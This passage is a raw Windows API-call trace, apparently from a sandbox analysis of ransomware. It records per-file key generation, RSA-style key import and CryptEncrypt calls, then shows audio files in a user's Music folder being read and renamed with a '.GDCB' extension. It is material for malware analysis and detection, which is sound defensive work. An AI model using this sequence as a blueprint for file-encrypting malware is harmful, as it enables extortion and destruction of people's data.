hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0140.719] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0140.722] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.722] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.722] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0140.722] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.722] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0140.725] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.725] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.725] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0140.725] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.725] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0140.735] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8e80) returned 1 [0140.735] CryptGetKeyParam (in: hKey=0x28a8e80, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.735] CryptEncrypt (in: hKey=0x28a8e80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0140.735] GetLastError () returned 0x0 [0140.735] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0140.735] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0140.745] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8980) returned 1 [0140.745] CryptGetKeyParam (in: hKey=0x28a8980, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.745] CryptEncrypt (in: hKey=0x28a8980, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0140.745] GetLastError () returned 0x0 [0140.746] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.746] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\T0U3EmSD\\0kabWvjicpBJ0xsd.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\t0u3emsd\\0kabwvjicpbj0xsd.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0140.746] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0140.746] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0140.746] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x150cb, lpOverlapped=0x0) returned 1 [0140.759] VirtualAlloc (lpAddress=0x0, dwSize=0x150d0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0140.766] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\T0U3EmSD\\0kabWvjicpBJ0xsd.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\t0u3emsd\\0kabwvjicpbj0xsd.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\T0U3EmSD\\0kabWvjicpBJ0xsd.wav.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\t0u3emsd\\0kabwvjicpbj0xsd.wav.gdcb")) returned 1 [0140.767] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0140.770] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.771] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.771] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0140.771] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.771] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0140.773] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.773] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.773] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0140.773] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.773] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0140.782] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a89c0) returned 1 [0140.782] CryptGetKeyParam (in: hKey=0x28a89c0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.782] CryptEncrypt (in: hKey=0x28a89c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0140.782] GetLastError () returned 0x0 [0140.782] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.782] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0140.790] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a88c0) returned 1 [0140.790] CryptGetKeyParam (in: hKey=0x28a88c0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.790] CryptEncrypt (in: hKey=0x28a88c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0140.790] GetLastError () returned 0x0 [0140.790] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.790] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\T0U3EmSD\\4a e.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\t0u3emsd\\4a e.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0140.790] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0140.790] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0140.791] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x11c29, lpOverlapped=0x0) returned 1 [0140.801] VirtualAlloc (lpAddress=0x0, dwSize=0x11c30, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0140.806] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\T0U3EmSD\\4a e.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\t0u3emsd\\4a e.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\T0U3EmSD\\4a e.mp3.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\t0u3emsd\\4a e.mp3.gdcb")) returned 1 [0140.807] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0140.809] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.809] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.810] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0140.810] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.810] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecca0) returned 1 [0140.812] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.812] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.812] CryptGenRandom (in: hProv=0x2ecca0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0140.812] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0140.812] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecca0) returned 1 [0140.820] CryptImportKey (in: hProv=0x2ecca0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8c00) returned 1 [0140.820] CryptGetKeyParam (in: hKey=0x28a8c00, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.820] CryptEncrypt (in: hKey=0x28a8c00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0140.820] GetLastError () returned 0x0 [0140.820] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0140.820] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0140.827] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8a80) returned 1 [0140.827] CryptGetKeyParam (in: hKey=0x28a8a80, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.827] CryptEncrypt (in: hKey=0x28a8a80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0140.828] GetLastError () returned 0x0 [0140.828] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.828] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\T0U3EmSD\\DdwfuJCNVR.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\t0u3emsd\\ddwfujcnvr.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0140.828] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0140.828] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0140.828] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x16c4a, lpOverlapped=0x0) returned 1 [0140.843] VirtualAlloc (lpAddress=0x0, dwSize=0x16c50, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0140.848] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\T0U3EmSD\\DdwfuJCNVR.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\t0u3emsd\\ddwfujcnvr.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\T0U3EmSD\\DdwfuJCNVR.wav.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\t0u3emsd\\ddwfujcnvr.wav.gdcb")) returned 1 [0140.849] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0140.851] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.852] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.852] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0140.852] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0140.852] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0140.854] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.854] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.854] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0140.854] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.854] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0140.861] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8940) returned 1 [0140.862] CryptGetKeyParam (in: hKey=0x28a8940, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.862] CryptEncrypt (in: hKey=0x28a8940, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0140.862] GetLastError () returned 0x0 [0140.862] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.862] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0140.869] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8f40) returned 1 [0140.869] CryptGetKeyParam (in: hKey=0x28a8f40, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.869] CryptEncrypt (in: hKey=0x28a8f40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0140.870] GetLastError () returned 0x0 [0140.870] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.870] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\T0U3EmSD\\kur6uO2BY_qE5Uul.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\t0u3emsd\\kur6uo2by_qe5uul.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0140.870] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0140.870] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0140.870] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x1e9e, lpOverlapped=0x0) returned 1 [0140.891] VirtualAlloc (lpAddress=0x0, dwSize=0x1ea0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0140.894] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\T0U3EmSD\\kur6uO2BY_qE5Uul.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\t0u3emsd\\kur6uo2by_qe5uul.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\T0U3EmSD\\kur6uO2BY_qE5Uul.mp3.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\t0u3emsd\\kur6uo2by_qe5uul.mp3.gdcb")) returned 1 [0140.895] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0140.897] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.898] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.898] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0140.898] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.898] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed168) returned 1 [0140.900] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.900] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.900] CryptGenRandom (in: hProv=0x2ed168, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0140.900] CryptReleaseContext (hProv=0x2ed168, dwFlags=0x0) returned 1 [0140.900] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0140.908] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8ac0) returned 1 [0140.908] CryptGetKeyParam (in: hKey=0x28a8ac0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.908] CryptEncrypt (in: hKey=0x28a8ac0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0140.909] GetLastError () returned 0x0 [0140.909] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.909] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0140.917] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8880) returned 1 [0140.917] CryptGetKeyParam (in: hKey=0x28a8880, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.917] CryptEncrypt (in: hKey=0x28a8880, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0140.917] GetLastError () returned 0x0 [0140.917] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.917] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\T0U3EmSD\\PIeLdzmNCBfzZZL.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\t0u3emsd\\pieldzmncbfzzzl.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0140.918] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0140.918] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0140.918] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0xc0aa, lpOverlapped=0x0) returned 1 [0140.928] VirtualAlloc (lpAddress=0x0, dwSize=0xc0b0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0140.932] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\T0U3EmSD\\PIeLdzmNCBfzZZL.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\t0u3emsd\\pieldzmncbfzzzl.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\T0U3EmSD\\PIeLdzmNCBfzZZL.m4a.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\t0u3emsd\\pieldzmncbfzzzl.m4a.gdcb")) returned 1 [0140.933] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed0e0) returned 1 [0140.936] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.936] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.936] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0140.936] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0140.936] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0140.938] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.938] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.938] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0140.938] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.938] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0140.967] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8f80) returned 1 [0140.967] CryptGetKeyParam (in: hKey=0x28a8f80, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.967] CryptEncrypt (in: hKey=0x28a8f80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0140.968] GetLastError () returned 0x0 [0140.968] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0140.968] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0140.975] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8d40) returned 1 [0140.975] CryptGetKeyParam (in: hKey=0x28a8d40, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.975] CryptEncrypt (in: hKey=0x28a8d40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0140.975] GetLastError () returned 0x0 [0140.975] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.975] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\T0U3EmSD\\Y-a5-Y5Z2Bd1xmD32cHW.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\t0u3emsd\\y-a5-y5z2bd1xmd32chw.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0140.976] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0140.976] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0140.976] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0xe23c, lpOverlapped=0x0) returned 1 [0140.986] VirtualAlloc (lpAddress=0x0, dwSize=0xe240, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0140.993] MoveFileW 